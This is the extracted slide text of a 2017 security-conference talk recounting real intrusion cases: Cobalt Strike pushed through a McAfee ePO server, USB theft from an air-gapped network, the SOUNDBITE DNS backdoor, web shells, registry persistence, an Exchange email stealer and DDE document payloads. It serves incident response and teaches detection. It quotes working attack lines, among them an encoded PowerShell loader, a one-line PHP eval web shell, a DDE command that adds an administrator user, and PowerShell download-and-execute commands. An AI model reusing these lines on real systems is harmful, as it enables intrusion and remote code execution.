RUXCON 2017

ATTACKER ANTICS

ILLUSTRATIONS OF INGENUITY

Presented by Bart Inglot & Byrne Ghavalas




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- Experience includes IR / Forensics, Security Research and Pen Testing
- Enjoy climbing, sailing, walking and am partial to good wine and coffee

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Bart Inglot

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Today's Tales

- 1. AV Server Gone Bad
- 2. Stealing Secrets From An Air-Gapped Network
- **3.** A Backdoor That Uses DNS for C2
- 4. Hidden Comment That Can Haunt You
- 5. A Little Known Persistence Technique
- 6. Securing Corporate Email is Tricky
- 7. Hiding in Plain Sight
- 8. Rewriting Import Table
- 9. Dastardly Diabolical Evil (aka DDE)





AV SERVER GONE BAD

Cobalt Strike, PowerShell & ePO

FireEye

AV Server Gone Bad – Background

- Attackers used Cobalt Strike (along with other malware)
- Easily recognisable IOCs when recorded by Windows Event Logs
 - Random service name also seen with Metasploit
 - Base64-encoded script, "%COMSPEC%" and "powershell.exe"
 - Decoding the script yields additional PowerShell script with a base64-encoded GZIP stream that in turn contained a base64-encoded Cobalt Strike "Beacon" payload.

A service was installed in the system. Service Name: **0f65bea** Service File Name: **%COMSPEC%** /b /c start /b /min **powershell.exe** -nop -w hidden **-encodedcommand JABzAD0ATgBIAHcALQBPAGIAagBIAGMAdAAgAEkAT...**

- Attackers used Cobalt Strike "Beacon" (mostly) with "named-pipe" to enable easy pivoting
 - Also made use of occasional external C2 with malleable profile Amazon Books anyone?
- How to easily distribute the payload to systems?

ePO Server traffic to multiple clients

POST /spipe/file?URL=/Software/Current\DLP_Agent\Install\0409\KB34535435.ps1&Local=Host=<REDACTED> HTTP/1.0 Accept: application/octet=stream Accept=Language: en=us Content=Type: application/octet=stream User=Agent: Mozilla/4.0 (compatible; SPIPE/3.0; Windows) Host: <REDACTED> Content=Length: 268950 Connection: Keep=Alive Date: 1463707900 FileHash: A8AF70F95980484E752D25EDCB0BE9189445FD4D FileHash: A8AF70F95980484E752D25EDCB0BE9189445FD4D FileHash256: B03B3B60300541F55AE432F37923972835361F7A5F8E42652926A0F79AD86CE7 Signature: JASq00dEDkCrSHATv5EpIqQrLK+z65AeBxm1T+LpITbEAb3Hil7a9Nnrh4mWzE5Vk+o0WRDa8y7vrDjHzX1pox/nrPtv/ OlyukpKx90ZtzVvqe74CbZs9pt3ko0h00ah72JmHnkri2bh1NaWI91TVR8X9MKg1r80+SQnrtE7XKH+uBVNF3fqLg0bYybWSTfDQInSKLDPZ4zLXI28xp5/oy9ZSeRwP/ d7TQUEuMXXBxSf0ZaL61mQP0bUUXGNpH/hxn3gBoAxwI0AAuqZHXLLnZ/dPB510E7Fum6W6RKxRJxpJvx5C6zI9EcoTT+gj2XEew0etCH0WNP90YG6U9M4Ew==

Set-StrictMode -Version 2

\$DoIt = @'
function func_get_proc_address {

That can't be good!



Found "KB34535435.ps1" on ePO

Set-StrictMode -Version 2

\$DoIt = @'

function func_get_proc_address {

Param (\$var_module, \$var_procedure)

\$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { \$_.GlobalAsse \$_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

return \$var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke(\$null, @([System.Runtime.InteropSe New=Object System.Runtime.InteropServices.HandleRef((New=Object IntPtr), (\$var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke(\$null, @(\$var_module)))), \$var_procedu

function func_get_delegate_type {

Param (

[Parameter(Position = 0, Mandatory = \$True)] [Type[]] \$var_parameters, [Parameter(Position = 1)] [Type] \$var_return_type = [Void]

\$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', \$false).Define 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) \$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConve \$var_parameters).SetImplementationFlags('Runtime, Managed') \$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', \$var_return_type, \$var_parameters).SetImplementationFlags('Runtime, Managed')

return \$var_type_builder.CreateType()

[Byte[]]\$var_code = [System.Convert]::FromBase64String("/0gAAAAA6ydbiz0DwwSL0zH3g8MEU4sDMfCJAzHGg8MEg+8EMcA wc0rFsHAq9bSlREW0pURAAYERGJ/ZDSA5aQ0vxFGRGrLR0Rqy1N7ntFvVvZE9Ve2RPVDibA1Q4mwNU0JsDVDibA1Q4mKNU0JibKtCgmfr3l

- Found the file in multiple locations, including:
 - D:\Program Files


 (x86)\McAfee\ePolicy
 Orchestrator\DB\Software\Current
 \DLP_Agent\Install\0409
- Also found a **RAR** file:
 - D:\Program Files

 (x86)\McAfee\ePolicy
 Orchestrator\DB\repo.rar



Attacking McAfee ePO

- Jérôme Nokin gave a talk in 2013 titled "Turning your managed Anti-Virus into my botnet" and also created "ePolicy 0wner"
 - <u>https://funoverip.net/2013/12/turning-your-antivirus-into-my-botnet-owasp-benelux-2013-slides/</u>
 - <u>https://github.com/funoverip/epowner</u>
- The "ePolicy Owner" tool enables the ability to create rogue McAfee packages
- Attackers may have "borrowed" ideas from the tool



ePolicy Owner – Rogue Package Deployment

--cli-deploy

This mode hacks various files on the ePo server (such as **catalog.z**, **PkgCatalog.z**) and performs "Product Deployment" or "Command Execution" (with SYSTEM privs) on the managed stations. The ePo repository will be **updated with your files**, and also **replicated on all Agent-Handlers** (Multiple Agent-Handler are typically used in large network with remote branch offices to reduce network traffic between the managed stations and the master ePo repository).

--file </path/to/file>

The file you would like to upload/exec on the victim(s). The file will be added to a new McAfee product and then deployed on the managed stations. The new product will also embed a batch file called **'run.bat'** which contains something similar to '**start** <your file>'. [...]

https://github.com/funoverip/epowner/blob/master/README



What was in Repo.rar?

- The RAR file contained the necessary elements required for rogue package distribution and execution.
- The "run.bat" file _ seems familiar...
- Evidence found it was extracted on the ePO server.

Name	Date Modified	Size	Packed	Kind	Attributes
Software	20/5/16, 09:31	349 KB	225 KB	Folder	.D
catalog.z	20/5/16, 09:31	75 KB	31 KB	unix compressed archive	A.
V Current	20/5/16, 09:31	274 KB	194 KB	Folder	.D
V DLP_Agent	20/5/16, 09:31	273 KB	194 KB	Folder	.D
🔻 🚞 Install	20/5/16, 09:31	273 KB	194 KB	Folder	.D
v b0409	20/5/16, 09:31	273 KB	194 KB	Folder	.D
ghs90P.txt	20/5/16, 09:31	9 B	9 B	Plain Text Document	A.
→ 👔 KB34535435.ps1	20/5/16, 09:31	269 KB	190 KB	Windows PowerShell Script	A.
PkgCatalog.z	20/5/16, 09:31	3 KB	3 KB	unix compressed archive	A.
replica.log	20/5/16, 09:31	704 B	446 B	Log File	A.
run.bat	20/5/16, 09:31	243 B	218 B	Batch File	A.
replica.log	20/5/16, 09:31	85 B	85 B	Log File	A.
replica.log	20/5/16, 09:31	88 B	86 B	Log File	A.
replica.log	20/5/16, 09:31	1 KB	247 B	Log File	A.
RepoCache	20/5/16, 09:31	349 KB	225 KB	Folder	.D
A catalog z	20/5/16 00:21		21 KD	unix compressed orphics	^



And in "run.bat"?

start "" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe executionPolicy bypass -noexit -file "%ALLUSERSPROFILE%\Application
data\mcafee\common framework\current\DLP_Agent\Install\0409\KB34535435.ps1" &&
ping 127.0.0.1 -n 15 > nul

Remember "run.bat"? It contains something similar to 'start <your file>'...



STEALING SECRETS FROM AIR GAPPED NETWORKS

DRIVEDETECT and MSSHELL

FireEye

Background

- The victim used an **air-gapped network** to keep their Intellectual Property secure
- To move data between networks they used a specific brand of USB storage devices
 - Dedicated software to create encrypted containers (proprietary format)
 - 256-bit AES encryption
 - Manufacturer claims the security is **unbreakable**
- The attackers staged the attack in **3 phases**:
 - 1) Identify systems of interest by deploying reconnaissance utilities
 - 2) Research the security measures in place
 - 3) Steal data from encrypted containers
- Attribution by **iSIGHT Intelligence** suggests a cyber-espionage group known as **TICK**





Phase 1: Identify systems of interest

- NirSoft USBDeview (next slide)
 - Small GUI utility that lists currently and previously connected USB devices
 - Supports command-line arguments, e.g. export into a CSV file:

USBDeview.exe /scomma output.txt

- **DETECTMON** reconnaissance utility that monitors drive insertion and removal.
 - When the utility starts, it logs all connected drives
 - Logs when a removable drive is inserted or removed
 - The utility then runs the following:

cmd.exe /c dir <drive_root_path> /s >> <local_staging_path>\<year><month><day><hour>

• Run the "dir" command every three minutes while the drive is inserted



NirSoft USBDeview

http://www.nirsoft.net/utils/usb_devices_view.html

🔶 USBDeview							
<u>File E</u> dit <u>V</u> iew	Options <u>H</u> elp						
🗙 🎯 🖕 🧕) 🧿 🛄 🖄 🖻	😭 🔕 -A					
Device N 🛆	Description	Device Type		Connected	Safe To Un	Disabled	USB H 🔺
🚔 USB Device	USB Mass Storage	Mass Storage		No	No	No	No
🚔 USB Device	Generic Bluetooth	Bluetooth Device		No	Yes	No	No
🚔 USB Device	Generic Bluetooth	Bluetooth Device		No	Yes	No	No
🚔 USB Device	VirtualBox USB	Vendor Specific		No	No	No	No
🚔 USB2.0 WLAN	3Com OfficeConne	Vendor Specific		No	No	No	No
🖨 🗘 WLAN	3Com OfficeConne	Vendor Specific		No	No	No	No
🖨 😂 USB2.0 WLAN	3Com OfficeConne	Vendor Specific		No	No	No	No 🥫
1							
22 item(s), 1 Select	ed		NirS	oft Freewar	e. http://www	.nirsoft.ne	t //.




Phase 2: Research the encrypted containers

- Strong crypto: 256-bit AES by default
 - Solution: ?
- Unknown file format and the container is split across a number of files
 - Solution: ?
- No disk mapping is created when accessed with a valid password unlike TrueCrypt
 - Solution: ?
- Encryption chip in the USB device (unconfirmed)
 - Solution: ?

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
17





Phase 2: Research the encrypted containers


- Strong crypto: 256-bit AES by default
 - **Solution:** capture the password
- Unknown file format and the container is split across a number of files
 - **Solution:** reverse-engineer the software / use APIs
- No disk mapping is created when accessed with a valid password unlike TrueCrypt
 - Solution: dump the process / re-use the handle / use APIs
- Encryption chip in the USB device (unconfirmed)
 - Solution: monitor USB insertions and automatically steal predefined files





Phase 3: Crack up the encrypted containers

• **MSSHELL** stealer searches newly-attached fixed and removable drives



Phase 3: Bonus

• **DETECTMON** steals unprotected files

xcopy <DRIVE>:*.* <local_staging_path>\<10 digits for a date>\ /E /I /Q /Y
/EXCLUDE:<local_staging_path>\sys.txt

- Excluded items:
 - Encrypted containers
 - PE files
 - Adobe Reader (?)
 - Files specific to victim's environment





OPSEC

- MSSHELL uses modified MD5
 - Single byte change of a constant in Round 3






Fig. 6.9. MD5 hashing algorithm

Pictures: "Fundamentals of Computer Security" by Pieprzyk, Josef (et al.)

Attribution

- TICK is a cyber espionage team that targets public and private interests in the Asia-Pacific region
- Active since at least 2009, maintained a low profile
- Targeting of Chinese dissident organisations suggests Chinese origin
- Targeted industries include: defense, heavy industry, aerospace, technology, banking, healthcare, automotive and media
- Unconfirmed reporting by Symantec indicates targets in **Australia**, India, Singapore and USA
- Custom Base64 alphabets / signed malware
- Malware:
 - Fat Agent (aka IRONHALO and Gofarer)
 - PostBot (aka SNOWSHOE and Daserf)
 - Various downloaders, launchers, infectors, uploaders





A BACKDOOR THAT USES DNS FOR C2

SOUNDBITE

FireEye

SOUNDBITE – Capabilities

- Communicates with its command and control (C2) servers via DNS tunneling
- Provides an attacker the ability to
 - create processes
 - upload and download files
 - execute shell commands
 - enumerate and manipulate files and directories
 - enumerate windows
 - manipulate the registry
 - gather system information



SOUNDBITE – Beacon Example

0000	h3 fh 0	0 00 00 01	00 00 00 00	00 00 20 75 62 73	ubs
		7 41 41 41			
0010					IVgAAAAAAAAAAAAAA
0020	41 41 43	1 41 41 41	41 41 41 41	<u>4f 4c 51</u> 01 7a 07	AAAAAAAAAAOLQ.z.
0030	6e 73 7	1 75 65 72	79 03 6e 65	74 00 <mark>00 0a 00 01</mark>	nsquery.net
0040	00 00 00	0 00 00 00	00 00 00 00	00 00 00 00 00 00	
0050	00 00 00	0 00 00 00	00 00 00 00	00 00 00 00 00 00	
0060	00 00 00	0 00 00 00	00 00 00 00	00 00 00 00 00 00	
0070	00 00 00	0 00 00 00	00 00 00 00	00 00 00 00 00 00	
0080	00 00 00	0 00 00 00	00 00 00 00	00 00 00 00 00 00	
0090	00 00 00	0 00 00 00	00 00 00 00	00 00 00 00 00 00	
00a0	00 00 00	0 00 00 00	00 00 00 00	00 00 00 00 00 00	
00b0	00 00 00	0 00 00 00	00 00 00 00	00 00 00 00 00 00	
00c0	00 00 00	0 00 00 00	00 00 00 00	00 00 00 00 00 00	
00d0	00 00 00	0 00 00 00	00 00 00 00	00 00 00 00 00 00	
00e0	00 00 00	0 00 00 00	00 00 00 00	00 00 00 00 00 00	
00f0	00 00 00	0 00 00 00	00 00 00 00	00 00 00 00 00 00	
0100	00 00 00	0 00 00 00	00 00 00 00	00 00 00 00 00 00	
0110	00 00 00	0 00 00 00	00 00		•••••

- 280-byte DNS query
 - z.tonholding.com
 - z.nsquery.net
- NULL RR (Resource Record)
 - 0x0a is NULL RR
 - 0x01 is Internet Class
- First 6 bytes
 - Host identifier (stored in registry)
- Last 3 bytes
 - Counter (GetTickCount)
- Custom base64 dictionary



SOUNDBITE – Example of Supported Commands

Command	Description
0x03	Start hidden window process < CommandArg0> with command line < CommandArg2>
0x04	Compress and upload file <commandarg0></commandarg0>
0x05	 Execute "C:\Windows\system32\cmd.exe /u /c <commandarg0>"</commandarg0> Wait <commandarg2> milliseconds for process to complete</commandarg2> Read response via created pipes, ZLIB-compress, and send
0x07	Write data specified in <commandarg2> to file <commandarg0>; if file <commandarg0> is parent directory does not exist, create it</commandarg0></commandarg0></commandarg2>
0x0A	Enumerate windows
0x10	Move file specified in <commandarg0> to <commandarg2></commandarg2></commandarg0>



SOUNDBITE – C2 Command Example

000	00	00	00	00	FF	FF	FF	FF	55	44	33	22	31	31	31	31	ÿÿÿÿUD3"1111
010	<mark>10</mark>	00	00	<u>00</u>	<mark>8</mark>	00	00	00	5C	00	00	00	78	9C	9 D	8D	
020	C1	0 9	80	30	10	04	A7	0 C	9 F	D6	E1	33	DA	82	BF	7C	Á.€0§.ŸÖá3Ú,¿
030	02	46	11	F5	22	46	49	FB	AE	20	16	E0	E3	F6	76	61	.F.õ"FIû® .àãöva
040	EE	D6	01	2D	0 D	9 E	9 E	4 C	E4	90	7A	AE	D7	1 B	81	4 D	îÖžžLä.z®×M
050	CE	D3	49	33	0 B	27	89	5D	39	B1	32	30	32	6B	47	2A	ÎÓI3.'‰]9±202kG*
060	7D	0 9	E2	27	5D	3 E	BC	89	AB	35	45	9C	FB	D9	60	CA	}.â']>¼‰«5EœûÙ`Ê
070	E5	6B	B8	01	43	B2	1F	B5									åk,.C².µ

Offset	Length	Description
0x10	4	C2 command (Move File)
0x14	4	Length of decompressed ZLIB data (168)
0x18	4	Length of ZLIB-compressed data (92)
0x1c	4	ZLIB-compressed data (header: 0x789c)



SOUNDBITE – Decompressed Command Example

000	42	00	00	00	43	00	3 A	00	5C	00	55	00	73	00	65	00	BC.:.\.U.s.e.
010	72	00	73	00	5C	00	75	00	73	00	65	00	72	00	6 E	00	r.s.\.u.s.e.r.n.
020	61	00	6D	00	65	00	5C	00	44	00	65	00	73	00	6B	00	a.m.e.\.D.e.s.k.
030	74	00	6F	00	70	00	5C	00	6 F	00	6C	00	64	00	66	00	t.o.p.\.o.l.d.f.
040	69	00	6C	00	65	00	18	00	00	00	61	00	72	00	67	00	i.l.ea.r.g.
050	75	00	6D	00	65	00	6 E	00	74	00	20	00	74	00	77	00	u.m.e.n.tt.w.
060	6 F	00	42	00	00	00	43	00	3A	00	5C	00	55	00	73	00	o.BC.:.\.U.s.
070	65	00	72	00	73	00	5C	00	75	00	73	00	65	00	72	00	e.r.s.\.u.s.e.r.
080	6 E	00	61	00	6D	00	65	00	5C	00	44	00	65	00	73	00	n.a.m.e.\.D.e.s.
090	6B	00	74	00	6 F	00	70	00	5C	00	6 E	00	65	00	77	00	k.t.o.p.∖.n.e.w.
0A0	66	00	69	00	6C	00	65	00									f.i.l.e.

• Arguments are length value pairs, with a 4-byte value for length

- Arguments are in Unicode
- Example moves C:\Users\username\Desktop\oldfile to C:\Users\username\Desktop\newfile
- Longer commands use more complex encoding and decoding technique with ZLIB



SOUNDBITE – Host Based Indicators

Indicator	Value	Value
Filename	xwizard.exe (Unsigned) SndVoISSO. <mark>exe</mark> (Self-signed – Microsoft)	mscorsvw.exe (Unsigned) csc.exe (Self-signed – Microsoft)
MD5	02b2d905a72c4bb2abfc278b8ca7f722 5394b09cf2a0b3d1caaecc46c0e502e3	e2d7d0021fd414349cbd95cd6a62f930 4f5a64c35d7b19a3143d2ca7b1c3264f
Persistence (Service)	WcsPluginService\xa0 Windows Color System\xa0 C:\Windows\xwizard.exe /k wcssvc	<pre>clr_optimization_v2.0.50725_86 Microsoft .NET Framework NGEN v2.0.50725_X86 c:\Windows\Microsoft.NET\Framework\v2.0.50725\msco rsvw.exe /s netsvcs</pre>
Registry	Software\INSUFFICIENT\INSUFFICIENT.INI	Software\NL2\NL.INI
PE Resource	RT_RCDATA ZLIB-compressed copy of SndVolSSO.exe	RT_HTML ZLIB-compressed copy of csc.exe



HIDDEN COMMENT THAT CAN HAUNT YOU

Web Shell



Quiz

- The attackers made a copy of "index.php" and then modified the original file
- Pseudo-code of what was introduced:

```
now = datetime.now()
total_minutes = ticks(now).minutes()
value = total_minutes / 10
print("<!-- {ecd6899b-e8e6-44ea-8ff7-439" + value + "} -->")
```



• Example:

<!-- {ecd6899b-e8e6-44ea-8ff7-439106071776} --!>

• What could it be for?



Background

- Web Shells
 - Common technique for attackers to get back to the environment
 - Passive in nature
 - Difficult to detect
 - Use legitimate web server functionality
 - Size and language can vary greatly
 - Obfuscated / encrypted
 - Minimal logging for POST requests over HTTPS
 - Business applications vulnerable too
- Common examples:
 - China Chopper (next slide)
 - c99 PHP Shell
 - WSO Shell





Example: China Chopper

• Server-side script

| ∧ ∨ × root@DVORAK: ~ | |
|---|--|
| File Edit View Terminal Help | |
| <pre>root@DVORAK:~# cat /var/www/shell.php <?php @eval(\$_POST['password']);?> root@DVORAK:~#</pre> | |

Client-side application

| 1 | | | | | ± 🖌 List | Sunday 2013-06-09 |
|--------------------------|--------------------|--------------|--------------------------------|-------|---------------|--------------------------------|
| 192.168.33.135 | Folder(22),File(3) | Name | Time | Size | Attribute | Site Type |
| S C var | | nedia 🚞 | 2013-06-05 11:02:35 | 4096 | D755¤ | Type1 |
| | | 🛅 8b | 2012-08-10 18:52:08 | 12288 | 0755日 | 🖃 🕞 Calendar Reminder |
| 🚞 media | | C selinux | 2009-12-05 16:55:28 | 4096 | 0765 D | Check Update Shortcut Link |
| ib 🔁 | | an srv | Update Cache | | 0755a | C SHOULDER |
| 🚞 selinux
🚞 srv | | 🚞 bin | Clear the cache of the WebSite | | 07550 | |
| 📥 siv | | 🔂 sys | WGET | | 0755a | |
| 🚞 sys | | lost+for | Upload | | 0700 🗆 | |
| lost+found | | a home | Delete | | 0755a | |
| home | | 🚞 proc | Copy | | 0555 a | |
| etc | | 🕳 🛅 etc | Rename | | 07550 | |
| | | | | | | |
| States and states in the | | 100 100 1000 | Modify the file time | | . Contraction | THE R. L. LOW CO. |










Password Protected Web Shell

- "index.html" was used to obtain the password
- Example:

```
<!-- {ecd6899b-e8e6-44ea-8ff7-439106071776} --!>
```

• "Timestomped" web shell placed on disk ("OTP-like"):



A LITTLE KNOWN PERSISTENCE TECHNIQUE

KOMPROGO

FireEye

KOMPROGO

Creates payload DLL in "%TEMP%\..\"

Creates mutex

Creates "Classes\CLSID\{53255E7F-D464-40FB-857D-A2F9F0E1E397}\InprocServer32\"

- Random executable
- PE file from %ProgramFiles% and %SystemRoot%\system32 or %SystemRoot%\SysWow64\ with resource directory
- · Target process used to load DLL payload as an argument

Executes target process with DLL argument then loads payload and unloads itself

COM Object

Hijacking?

KOMPROGO – Persistence

- KOMPROGO uses "Services\WinSock2\Parameters\AutoDialDLL" for persistence
- Mechanism is described by Hexacorn Ltd
 - http://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/
- When Winsock library (ws2_32.dll) is invoked, it will load the DLL specified in "AutoDialDLL"
- The key usually points to a legitimate, signed version of "rasadhlp.dll"
- DLL must export 3 functions
 - WSAttemptAutodialAddr
 - WSAttemptAutodialName
 - WSNoteSuccessfulHostentLookup
- KOMPROGO variants observed installed 32-bit and 64-bit DLLs and configured the registry value as appropriate



SECURING CORPORATE EMAIL IS TRICKY

Exchange Transport Agent

FireEye

Background

- The attackers objective: read emails across victim organisations
- Most environments run Active Directory and Microsoft Exchange
- Common attack angles:
 - Mailbox exporting
 - Inbox forwarding rules
 - Transport rules
 - Mailbox delegation
- Uncommon techniques
 - ISAPI Filter
 - Used for stealing user credentials
 - Exchange Transport Agent
 - Extension of Exchange transport behaviour
 - Available since at least Exchange Server 2010





Extending Exchange Server

- The attackers dropped **3 components** on the Exchange server
 - 1) Transport agent ("agent.dll")
 - Load "miner.dll"
 - Capture sent messages by registering to a Routing Agent event
 - Extract metadata and the message content
 - Pass them to "miner.dll"
 - 2) Mining component ("miner.dll")
 - Load and decrypt the configuration file
 - Mine the emails:
 - Encrypt and store on disk if criteria are met
 - Execute the command in the body and delete the email if sent by the attacker
 - 3) Uploader ("stealer.ps1")
 - Exfiltrate encrypted files and clean up
 - Stored in registry + persistent via WMI + terminated unless parent process "wmiprvse.exe"





Create a Transport Agent

- **Template:** https://msdn.microsoft.com
- Relevant cmdlets:
 - Install-TransportAgent
 - Enable-TransportAgent
 - Get-TransportAgent

• Detection:

- Exchange logs (cmdlets)
- Exchange server agents configuration
 - TransportRoles\Shared\agents.config

```
C#
     VB
 using System;
 using System.Collections.Generic;
 using System.Text;
 using Microsoft.Exchange.Data.Transport;
 using Microsoft.Exchange.Data.Transport.Smtp;
 namespace MyAgents
     public sealed class MyAgentFactory : SmtpReceiveAgentFactory
         public override SmtpReceiveAgent CreateAgent(SmtpServer server)
             return new MyAgent();
     public class MyAgent : SmtpReceiveAgent
         public MyAgent()
             this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler);
         private void MyEndOfDataHandler (ReceiveMessageEventSource source, EndOfDataEventArgs e)
             // The following line appends text to the subject of the message that caused the event.
             e.MailItem.Message.Subject += " - this text appended by MyAgent";
```



Achieved Objectives

Secure

- Encryption: configuration file and mined emails
- Kill-switch: free space or current date
- Anti-analysis: sandbox prevention & code obfuscation
- Uninstall: clean-up functionality was built in

Customisable

Configuration file: monitored inbox list and email ignore list

Extensible

- Independent components
- Remote code execution via emails from the attackers
- **Service** Forgiving
 - Log errors to a file

Automated

No need for remote access

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|----|-------------|-----------|----------|--------|-----------|
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HIDING IN PLAIN SIGHT

Simple techniques used by SOUNDBITE and KOMPROGO



| Service Name | WcsPluginService |
|--------------|----------------------|
| Display Name | Windows Color System |
| Image Path | ?? |

Which one is Legitimate?

| Service Name | WcsPluginService |
|--------------|----------------------|
| Display Name | Windows Color System |
| Image Path | ?? |



| Service Name | WcsPluginService |
|--------------|---|
| Display Name | Windows Color System |
| Image Path | %SystemRoot%\system32\svchost.exe -k wcssvc |

Which one is Legitimate?

| Service Name | WcsPluginService |
|--------------|----------------------------------|
| Display Name | Windows Color System |
| Image Path | C:\Windows\xwizard.exe /k wcssvc |



| Service Name | WcsPluginService |
|--------------|---|
| Display Name | Windows Color System |
| Image Path | %SystemRoot%\system32\svchost.exe -k wcssvc |

Which one is Legitimate?



Service NameWcsPluginServiceDisplay NameWindows Color SystemImage PathC:\Windows\xwizard.exe /k wcssvc



| Service Name | WcsPluginService |
|--------------|----------------------------------|
| Display Name | Windows Color System O |
| Image Path | C:\Windows\xwizard.exe /k wcssvc |

| Service Name | WcsPluginService xa0 |
|--------------|----------------------------------|
| Display Name | Windows Color System xa0 |
| Image Path | C:\Windows\xwizard.exe /k wcssvc |

• 'NO-BREAK SPACE' (NBSP)

- Unicode U+00a0
- UTF8 0xc2 0xa0
- Looks just like a regular space (0x20) in most tools and applications
- Administrators are unlikely to notice the subtle difference when looking at a list of services



KOMPROGO Example

- KOMPROGO uses "Services\WinSock2\Parameters\AutodialDLL" for persistence
- The key usually points to a legitimate, signed version of "rasadhlp.dll"
- How would you populate the key with something that looks like "rasadhlp.dll"?
 - NBSP is no good it shows up as a space!

rasadhlp.dll

'OPERATING SYSTEM COMMAND'

- Unicode U+009d
- UTF8 0xc2 0x9d
- Control character is not displayed in most applications looks like "rasadhlp.dll"
- No visual clues that something is amiss


REWRITING IMPORT TABLE

Avoiding static IOCs


FireEye

Indicator of Compromise (IOC)

- Way of describing threat data like
 - Malware
 - Attacker methodology
 - Evidence of compromise or activity
- **OpenIOC** was created around **2010**
 - A format to organize indicators
 - Designed for data sharing
 - XML under the hood
 - Intentionally extensible
- Other formats: YARA, CybOX, STIX, etc.








• Source: https://www.osdfcon.org/presentations/2010/butler-schiffer-mandiant-open-source-digital-forensics.pdf



Developing IOCs





Evading Detection

- Malicious DLL persistent as a Windows service
- Configured to launch the default export function ("ServiceMain")
- Packed launcher for a second component

• What can we signature?

- 1) Service details
- 2) Export DLL
- 3) Export function names
- 4) Opcode
- 5) ...

| Se | Section Summary: | | | | | |
|----|------------------|----------|-----------|-----------------|--------------------|--|
| # | Name | Raw Size | Virt Size | Characteristics | Contains | |
| 0 | .text | 36,864 | 36,800 | Execute, Read | Code | |
| 1 | .data | 86,016 | 86,016 | Read, Write | Initialized data | |
| 2 | .bss | 0 | 4,304 | Read, Write | Uninitialized data | |
| 3 | UNKNOWN | 123,904 | undefined | | Not section data | |
| 4 | .idata | 2,048 | 4,096 | Read | Initialized data | |
| 5 | .edata | 1,024 | 4,096 | Read | Initialized data | |

- PE File Header
 - Machine: MACHINE_I386
 - Flags:
 - LOCAL_SYMS_STRIPPED
 - 32BIT_MACHINE
 - EXECUTABLE_IMAGE
 - DLL
 - LINE_NUMS_STRIPPED

Imports

- KERNEL32.dll
- MSVCRT.dll
- VSER32.dll

LegalCopyright: © Microsoft Corporation. All rights reserved. InternalName: explorer FileVersion: 6.1.7601.23537 (win7sp1_ldr.160829-0600) CompanyName: Microsoft Corporation ProductName: Microsoft © Windows © Operating System ProductVersion: 6.1.7601.23537 FileDescription: Windows Explorer OriginalFilename: EXPLORER.EXE

Export Names (library.dll)

Replaced Export Table




DASTARDLY DIABOLICAL EVIL

Payloads with DDE

FireEye

Background



ddeService="cmd" ddeTopic="/c calc"



Hash: 0de6260639da87a707fc379c1bbd765f8afff38ef793f9b910096ee723a49753




DDEAUTO c:\\windows\\system32\\cmd.exe "/k net user hacker P@ssw0rd! /add"

Hash: 3a42aecd1c4f67f0361c286fb6145577d2770cd1d98a209050094c83712a97cc

DDEAUTO c:\\windows\\system32\\cmd.exe "/k ipconfig"

Hash: c38ed9140e913d0d4c90e760ea9680ea6d1835ba85bb34787e4c38fc31f9e657






DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe \$e=new-object -com internetexplorer.application; \$e.visible=\$true; \$e.navigate2(' hxxps://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e \$e "

Hash: 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862



ddeService="cmd" ddeTopic=" /C Cscript %WINDIR%\System32\Printing_Admin_Scripts\en-US**Pubprn.vbs** localhost "script:hxxps://gunsandroses.live/ticket-id""

Hash: a335270704e339babeb19e81dccaf3dfa0808bdd4ae7f4b1a1ddbbd65f5e017d





Document Information CreationDate : Tue, 10 Oct 2017 10:45:00 GMT

Creator: Microsoft Office Word 15.0000



Spoofed emails appearing to be from Securities and Exchange Commission (SEC) Electronic Data Gathering, Analysis, and Retrieval (EDGAR) system.

> POWERSOURCE.v2 C2 uses DNS TXT records

ModifiedDate: Tue, 10 Oct 2017 16:17:00 GMT SizeBytes: 17348 c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \'**nxxps://sec.gov**/\";IEX((new-object) net.webclient).downloadstring('hxxps://trt.doe.louisiana.gov/fonts.txt')) "

Hash: 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428



Company .

PageCount:1

Length: 257

Author : Windows User

THANK YOU

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